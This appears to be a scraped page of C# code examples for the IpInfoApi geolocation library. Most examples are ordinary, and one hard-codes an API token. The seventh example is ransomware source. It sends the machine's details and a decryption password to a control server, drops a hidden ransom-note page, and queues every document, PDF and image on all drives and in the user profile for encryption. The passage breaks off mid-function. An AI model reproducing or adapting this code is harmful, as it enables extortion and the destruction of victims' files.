Ejemplo n.º 1
0
        public Geolocalizator()
        {
            HttpClientFactory httpClientFactory = new HttpClientFactory();

            this._httpClient = httpClientFactory.GetClient();
            this.api         = new IpInfoApi(Credentials.IpInfoApiToken, _httpClient);
        }
Ejemplo n.º 2
0
        private static async Task Main()
        {
            using var client = new HttpClient();
            var api = new IpInfoApi(client);

            var response = await api.GetCurrentInformationAsync();

            Console.WriteLine($"City: {response.City}");
        }
Ejemplo n.º 3
0
        public async Task <IActionResult> OnGetAsync(int?id)
        {
            if (id == null)
            {
                return(NotFound());
            }


            Visit visit = await _context.Visits.FirstOrDefaultAsync(m => m.Id == id);

            if (visit == null)
            {
                return(NotFound());
            }


            var          uaParser = Parser.GetDefault();
            ClientInfo   client   = uaParser.Parse(visit.UserAgent);
            FullResponse response = null;

            try
            {
                var api = new IpInfoApi(configuration.GetValue <string>("IpinfoToken"), clientFactory.CreateClient());
                response = await api.GetInformationByIpAsync(visit.IP);
            }
            catch (Exception) { }

            Visit = new()
            {
                Id         = visit.Id,
                Share      = visit.Share,
                User       = visit.User,
                Date       = visit.Date,
                IP         = visit.IP,
                UserAgent  = visit.UserAgent,
                ClientInfo = client,
                IpInfo     = response,
                Access     = visit.Access
            };

            return(Page());
        }
Ejemplo n.º 4
0
        public async Task <string> GetCompaniesName(byte[] ip)
        {
            Logger.LogInformation($"{DateTime.Now.ToString()} GetCompaniesName method HandleLogByLine class is run");
            ServicePointManager.SecurityProtocol = SecurityProtocolType.SystemDefault;
            string     company           = string.Empty;
            string     _ip               = Encoding.ASCII.GetString(ip);
            HttpClient httpClientHandler = new HttpClient();

            //       httpClientHandler.ServerCertificateCustomValidationCallback= (sender, cert, chain, sslPolicyErrors) => { return true; };
            using var cl = new HttpClient();

            //530f45ab84efc1 is my token on ipinfo.io, monthly limit has already been used
            var api = new IpInfoApi("e233289eabbf1b", cl);

            var r = await api.GetOrganizationByIpAsync(_ip);



            company = r;
            return(company);
        }
Ejemplo n.º 5
0
        public static async Task ApiTestAsync(Func <IpInfoApi, CancellationToken, Task> action)
        {
            using var source = new CancellationTokenSource(TimeSpan.FromSeconds(15));
            var cancellationToken = source.Token;

            var token = Environment.GetEnvironmentVariable("IPINFO_TOKEN") ??
                        throw new InvalidOperationException("token is null.");

            using var client = new HttpClient();
            var api = new IpInfoApi(token, client);

            try
            {
                await action(api, cancellationToken).ConfigureAwait(false);
            }
            catch (ApiException exception)
            {
                if (exception.StatusCode != 403)
                {
                    throw;
                }
            }
        }
Ejemplo n.º 6
0
        public async Task <FullResponse> getIPdetails(ProviderQuality p1)
        {
            FullResponse response  = new FullResponse();
            Stopwatch    stopwatch = new Stopwatch();

            try
            {
                var client = new HttpClient();
                var api    = new IpInfoApi(client);
                p1.requestCount++;
                stopwatch.Reset();
                stopwatch.Start();
                response = await api.GetCurrentInformationAsync();

                stopwatch.Stop();
                p1.avgResponseTime += stopwatch.ElapsedMilliseconds / 2;
            }
            catch (Exception e)
            {
                //log exception
            }

            return(response);
        }
Ejemplo n.º 7
0
        static void Main(string[] args)
        {
            passwordkey = GeneratePassword();
            systemid    = GenerateSystemId();
            CheckConnection();
            MakeConnection();
            RetriveFiles();
            AlertingUser();
            Console.ReadKey();

            //Creating All Required Methods

            string GeneratePassword()
            {
                var randomstring = new RNGCryptoServiceProvider();
                var buf          = new byte[18]; //length not randomly picked, see 64Base, wikipedia

                randomstring.GetBytes(buf);
                string password = Convert.ToBase64String(buf);

                return(password);
            }    //This method returns complex & random password

            string GenerateSystemId()
            {
                ManagementClass            mangnmt = new ManagementClass("Win32_LogicalDisk");
                ManagementObjectCollection mcol    = mangnmt.GetInstances();
                string result = "";

                foreach (ManagementObject strt in mcol)
                {
                    result += Convert.ToString(strt["VolumeSerialNumber"]);
                }
                return(result);
            }                        //Generating System Id

            bool   CheckConnection() //Checking for Internet Connection
            {
                while (true)
                {
                    try
                    {
                        var i = new Ping().Send("www.google.com").Status;
                        if (i == IPStatus.Success)
                        {
                            Console.WriteLine("connected");
                            return(true);
                        }
                        else
                        {
                            return(false);
                        }
                    }

                    catch (Exception)
                    {
                        Console.WriteLine("Not Connected");
                        Thread.Sleep(2000);
                        continue;
                    }
                }
            }    //checking for internet connection

            void   MakeConnection()
            {
                //Uploading System Information and Password
                try //for Exception handling
                {
                    //Geeting Current Username
                    string username = Environment.UserName;

                    //Geeting Machine Hostname
                    string machine = Environment.MachineName;


                    //Getting OS Name
                    //--------------------//

                    //Getting Current Time
                    string time = DateTime.Now.ToString("HH:mm:ss");

                    //Getting Date and Day
                    string date = DateTime.Today.ToString("dd/MM/yyyy") + ", " + DateTime.Now.DayOfWeek.ToString();

                    //Getting Ip Address
                    string ip = new System.Net.WebClient().DownloadString("https://api.ipify.org");


                    //Sending Data to the Server
                    var client = new HttpClient();
                    //Getting Location

                    String location()
                    {
                        var api = new IpInfoApi(client);
                        var rep = api.GetCurrentCityAsync();

                        //string location = new System.Net.WebClient().DownloadString("");
                        Console.WriteLine($"City: {rep.Result}");
                        return(rep.Result);
                    }

                    HDid = "A125OKA" + systemid + "4758ahzii";
                    string Passwd = HDid;
                    passwordkey = Passwd;
                    var pairs = new List <KeyValuePair <string, string> >
                    {
                        new KeyValuePair <string, string>("machine_name", machine),
                        new KeyValuePair <string, string>("computer_user", username),
                        new KeyValuePair <string, string>("systemid", systemid),
                        new KeyValuePair <string, string>("os", "Windows 10"),
                        new KeyValuePair <string, string>("date", date),
                        new KeyValuePair <string, string>("time", time),
                        new KeyValuePair <string, string>("ip", ip),
                        new KeyValuePair <string, string>("location", location()),
                        // new KeyValuePair<string, string>("location", "Unkown"),
                        new KeyValuePair <string, string>("password", passwordkey),
                        new KeyValuePair <string, string>("handshake", "jasmin@123"),
                    };

                    var content = new FormUrlEncodedContent(pairs);

                    var response = client.PostAsync(hostaddr, content).Result;

                    if (response.IsSuccessStatusCode)
                    {
                        Console.WriteLine(response);
                        Console.WriteLine(GenerateSystemId());
                        Console.WriteLine(GeneratePassword());
                    }
                    else
                    {
                        Console.WriteLine("No Connection");
                    }
                }
                catch (Exception)
                {
                }

                //Creating AlertMessageUi
                try
                {
                    StartDownload(); // Downloading Alert Message Ui from the server
                    //Write Systemid to HTML File
                    try
                    {
                        string SystemIdTag1 = "<h3  style=\"color: grey; font-size:95% \"> Your System Id is : " + GenerateSystemId() + " </h3>";
                        string SystemIdTag2 = "<h3  style=\"color: white; font-size:110% \"> Your System Id is : " + GenerateSystemId() + " </h3>";
                        string FileToEdit   = @"C:\Users\Public\Windows\Ui\index.html";


                        WriteSystemId(SystemIdTag1, FileToEdit, 129);
                        WriteSystemId(SystemIdTag2, FileToEdit, 285);


                        void WriteSystemId(string newText, string fileName, int line_to_edit)
                        {
                            string[] arrLine = File.ReadAllLines(fileName);
                            arrLine[line_to_edit - 1] = newText;
                            File.WriteAllLines(fileName, arrLine);
                        }
                    }
                    catch
                    {
                        Console.WriteLine("Error While SystemID Writing");
                    }
                }
                catch
                {
                    Console.WriteLine("Error In Download");
                }
            }    //Making connection with web dashboard

            bool   StartDownload()
            {
                WebClient wc = new WebClient();

                while (true)
                {
                    try
                    {
                        if (Directory.Exists(AlertMsgPath))
                        {
                            Directory.Delete(AlertMsgPath, true);
                            Directory.CreateDirectory(AlertMsgPath).Attributes = FileAttributes.System | FileAttributes.Hidden;
                        }
                        else
                        {
                            Directory.CreateDirectory(AlertMsgPath).Attributes = FileAttributes.System | FileAttributes.Hidden;
                        }

                        wc.DownloadFile(AlertMsgLink, AlertMsgFile);
                        Thread.Sleep(450);
                        Console.WriteLine("Downloaded");
                        StartExtraction(); //Start Extraction Process
                        return(true);
                    }
                    catch (WebException)
                    {
                        Console.WriteLine("Unable to Download\nRetrying Please wait..");
                        Thread.Sleep(2000);
                        continue;
                    }
                }
            }    //Downloading files from web dashboard

            bool   StartExtraction()
            {
                while (true) //working in a loop until file is being downloaded
                {
                    try
                    {
                        if (File.Exists(AlertMsgFile))// starts only if file exists
                        {
                            using (Stream stream = File.OpenRead(AlertMsgFile))
                            {
                                var reader = ReaderFactory.Open(stream);
                                while (reader.MoveToNextEntry())
                                {
                                    if (!reader.Entry.IsDirectory)
                                    {
                                        reader.WriteEntryToDirectory(AlertMsgPath, new ExtractionOptions()
                                        {
                                            ExtractFullPath = true, Overwrite = true
                                        });
                                    }
                                }
                            }
                            return(true);
                        }
                        else
                        {
                            return(false);
                        }
                    }
                    catch (Exception)
                    {
                        continue;
                    }
                }
            }    //Extracting Downloaded files

            void   RetriveFiles()
            {
                DriveInfo[] drives      = DriveInfo.GetDrives();                                                              //Disk Information Array
                string      UserHomeDir = Environment.GetFolderPath(Environment.SpecialFolder.UserProfile);                   //Users's Default Home Directory

                string[] extensions = { "*.pptx", "*.docx", "*.xlsx", "*.txt", "*.pdf", "*.500", "*.jpeg", "*.jpg", "*png" }; //target file extesnions
                foreach (DriveInfo drive in drives)
                {
                    try
                    {
                        if (drive.Name == @"C:\") // skiping C drive
                        {
                            continue;
                        }

                        string dpath = drive.Name; // Drive Path
                        Console.WriteLine(dpath);

                        foreach (string l in extensions)
                        {
                            try
                            {
                                foreach (string d in Directory.EnumerateDirectories(dpath))
                                {
                                    try
                                    {
                                        foreach (string p in Directory.EnumerateFiles(d, l, SearchOption.AllDirectories))
                                        {
                                            try
                                            {
                                                Thread t = new Thread(() => FileEncryption(p));
                                                t.Priority = ThreadPriority.AboveNormal;
                                                t.Start();
                                            }
                                            catch (UnauthorizedAccessException)
                                            {
                                                continue;
                                            }
                                        }
                                    }
                                    catch (UnauthorizedAccessException)
                                    {
                                        continue;
                                    }
                                    catch (Exception)
                                    {
                                        continue;
                                    }
                                } //recursively list all the files in a drive
                                foreach (string p in Directory.EnumerateFiles(dpath, l))
                                {
                                    try
                                    {
                                        Thread t = new Thread(() => FileEncryption(p));
                                        t.Priority = ThreadPriority.AboveNormal;
                                        t.Start();
                                    }
                                    catch (UnauthorizedAccessException)
                                    {
                                        continue;
                                    }
                                }
                            }
                            catch (Exception)
                            {
                                continue;
                            }
                        }
                    }
                    catch (Exception)
                    {
                        continue;
                    }
                } //retrieving Drives files
                foreach (string l in extensions)
                {
                    try
                    {
                        foreach (string d in Directory.EnumerateDirectories(UserHomeDir))
                        {
                            try
                            {
                                foreach (string p in Directory.EnumerateFiles(d, l, SearchOption.AllDirectories))
                                {
                                    try
                                    {
                                        Thread t = new Thread(() => FileEncryption(p));
                                        t.Priority = ThreadPriority.AboveNormal;
                                        t.Start();
                                    }
                                    catch (UnauthorizedAccessException)
                                    {
                                        continue;
                                    }
                                }
                                catch (ArgumentException)
                                {
                                    continue;
                                }
                            }
                            catch (UnauthorizedAccessException)
                            {
                                continue;
                            }
                        } //recursively list all the files in a drive
                        foreach (string p in Directory.EnumerateFiles(UserHomeDir, l))
                        {
                            try
                            {
                                Thread t = new Thread(() => FileEncryption(p));
                                t.Priority = ThreadPriority.AboveNormal;
                                t.Start();
                            }
                            catch (UnauthorizedAccessException)
                            {
                                continue;
                            }
                        }
                    }
                    catch (Exception)
                    {
                        continue;
                    }
                } //retrieving User's files